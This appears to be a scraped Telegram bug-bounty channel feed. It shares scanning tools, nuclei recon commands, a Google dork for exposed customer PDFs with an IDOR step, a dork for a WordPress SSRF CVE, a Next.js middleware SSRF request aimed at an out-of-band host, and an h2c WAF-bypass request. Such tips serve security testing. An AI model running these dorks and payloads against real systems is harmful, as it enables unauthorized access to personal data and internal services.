Please open Telegram to view this post
VIEW IN TELEGRAM
⚡Autoswagger is a command-line tool designed to discover, parse, and test for unauthenticated endpoints using Swagger/OpenAPI documentation. It helps identify potential security issues in unprotected endpoints of APIs, such as PII leaks and common secret exposures.
✅https://github.com/intruder-io/autoswagger/
✅
❤14👍9
A fresh Web Pentesting batch with a Bug Bounty approach is starting this week.
📱 If you're interested DM on whatsapp- wa.link/brutsecurity
📱 If you're interested DM on whatsapp- wa.link/brutsecurity
🔥1
Brut Security pinned «A fresh Web Pentesting batch with a Bug Bounty approach is starting this week. 📱 If you're interested DM on whatsapp- wa.link/brutsecurity»
✅ For Faster Info Gathering
nuclei -list targets.txt -ai "Extract page noscript, detech tech and versions"
nuclei -list targets.txt -ai "Extract email addresses from web pages"
nuclei -list targets.txt -ai "Extract all subdomains referenced in web pages"
nuclei -list targets.txt -ai "Extract all external resource URLs (CDNs, images, iframes, fonts) from HTML"
nuclei -list targets.txt -ai "Extract social media profile links from web pages"
nuclei -list targets.txt -ai "Extract links pointing to staging, dev, or beta environments from HTML"
nuclei -list targets.txt -ai "Extract all links pointing to PDF, DOCX, XLSX, and other downloadable documents"👍10❤8
Hey Hunter's,
DarkShadow here back again, just dropping a awesome dork that makes pure bounty!
Unauthenticated Access to Sensitive Customer Data via Google Dorking
✅Step to reproduce:
- dork:
site:*.target.com* "date of birth" ext:pdf
- Check if PDF file exposing customer data.
- Noticed the ID in the URL.
- if By changing the ID, you able to access other data.
Now guys let me know, you are want to know all dorks that make pure bounty?
If you guy's want then show your love, probably i made a tool for automation or post the method.
Follow for More x.com/darkshadow2bd
#bugbountytips #dork #idor
DarkShadow here back again, just dropping a awesome dork that makes pure bounty!
Unauthenticated Access to Sensitive Customer Data via Google Dorking
✅Step to reproduce:
- dork:
site:*.target.com* "date of birth" ext:pdf
- Check if PDF file exposing customer data.
- Noticed the ID in the URL.
- if By changing the ID, you able to access other data.
Result: IDOR+Sensitive info leak (such as customer data)
Now guys let me know, you are want to know all dorks that make pure bounty?
If you guy's want then show your love, probably i made a tool for automation or post the method.
Follow for More x.com/darkshadow2bd
#bugbountytips #dork #idor
🔥11❤10👍6🫡3
CVE-2025-8085: SSRF in Ditty WordPress plugin, 8.6 rating❗️
The vulnerability allows attackers without authentication to make requests to arbitrary URLs.
Search at Netlas.io:
👉 Link: https://nt.ls/HthP0
👉 Dork: http.body:"plugins/ditty-news-ticker"
Read more: https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff/
The vulnerability allows attackers without authentication to make requests to arbitrary URLs.
Search at Netlas.io:
👉 Link: https://nt.ls/HthP0
👉 Dork: http.body:"plugins/ditty-news-ticker"
Read more: https://wpscan.com/vulnerability/f42c37bb-1ae0-49ab-bd81-7864dff0fcff/
👍8🤝1
Hey Hunter's,
DarkShadow here back again, dropping a critical SSRF 💥
Nextjs SSRF in Middleware header!
✅POC:
If you guy's really enjoy to read, then show your love and follow me x.com/darkshadow2bd
#ssrf #bugbountytips
DarkShadow here back again, dropping a critical SSRF 💥
Nextjs SSRF in Middleware header!
✅POC:
GET / HTTP/1.1
Host: target. com
Location: http://oast. me
X-Middleware-Rewrite: http://oast. me
If you guy's really enjoy to read, then show your love and follow me x.com/darkshadow2bd
#ssrf #bugbountytips
👏18❤14🔥4🗿1
Hey Hunter's,
DarkShadow here back again!
Check your burp isn't this feature is enable?
Most of hackers miss this thing. So, this is a great opportunity to make bounty using this burp feature.
#bugbountytips #burp
DarkShadow here back again!
Check your burp isn't this feature is enable?
Most of hackers miss this thing. So, this is a great opportunity to make bounty using this burp feature.
#bugbountytips #burp
1❤8👏7👍4🔥2
🪲 Bug Bounty Pro Tip: #H2C Upgrade Bypass
Target: Applications using HTTP/2 Cleartext (h2c) upgrades.
The Core Idea: Many Web Application Firewalls (WAFs) and reverse proxies process HTTP/1.1 but fail to correctly inspect traffic after it's upgraded to HTTP/2.
How to Test:
1. Find a target that accepts an Upgrade: h2c header (common in Java, gRPC, and some reverse proxies like Nginx).
2. Send an initial HTTP/1.1 request with the upgrade header:
3. If the server agrees (responds with HTTP/1.1 101 Switching Protocols), the connection is now HTTP/2.
4. The Bypass: Craft and send malformed or smuggled HTTP/2 frames (e.g., with the :method header set to GET or POST). The downstream WAF may not parse this, allowing you to access internal endpoints or bypass security controls.
Why it works: The security boundary often only exists at the HTTP/1.1 layer. Once upgraded, your HTTP/2 traffic might be forwarded directly to the backend without inspection.
#BugBounty #Hacking #WebSecurity #WAFBypass #HTTP2
Target: Applications using HTTP/2 Cleartext (h2c) upgrades.
The Core Idea: Many Web Application Firewalls (WAFs) and reverse proxies process HTTP/1.1 but fail to correctly inspect traffic after it's upgraded to HTTP/2.
How to Test:
1. Find a target that accepts an Upgrade: h2c header (common in Java, gRPC, and some reverse proxies like Nginx).
2. Send an initial HTTP/1.1 request with the upgrade header:
GET / HTTP/1.1
Host: example.com
Upgrade: h2c
Connection: Upgrade
3. If the server agrees (responds with HTTP/1.1 101 Switching Protocols), the connection is now HTTP/2.
4. The Bypass: Craft and send malformed or smuggled HTTP/2 frames (e.g., with the :method header set to GET or POST). The downstream WAF may not parse this, allowing you to access internal endpoints or bypass security controls.
Why it works: The security boundary often only exists at the HTTP/1.1 layer. Once upgraded, your HTTP/2 traffic might be forwarded directly to the backend without inspection.
#BugBounty #Hacking #WebSecurity #WAFBypass #HTTP2
1🔥29❤14👍5
⚡S3Scan - A powerful S3 bucket security scanner designed for penetration testing and bug bounty hunting. This tool automatically detects misconfigurations and security vulnerabilities in AWS S3 buckets.
✅https://github.com/KingOfBugbounty/s3tk
✅https://github.com/KingOfBugbounty/s3tk
👍20❤6👨💻2
Mobile Hacking Bug Bounty.pdf
4.4 MB
Mobile Hacking Bug Bounty: The Practical Checklist
1👍17🔥10❤2👏2🐳1
⚡Bug Bounty Reports Extractor - CLI tool that fetches resolved & disclosed HackerOne reports by vulnerability and exports them to CSV.
✅ https://github.com/newstartlikenoneanthor-pixel/report-extractor
✅ https://github.com/newstartlikenoneanthor-pixel/report-extractor
❤17🔥6😱2
Please open Telegram to view this post
VIEW IN TELEGRAM
Medium
Best Bug Bounty and Pentesting Methodology for Beginners: A Step-by-Step Guide
Bug bounty programs and penetration testing (pentesting) are popular ways for ethical hackers to make money while helping companies enhance…
1❤13👍4🔥3👏1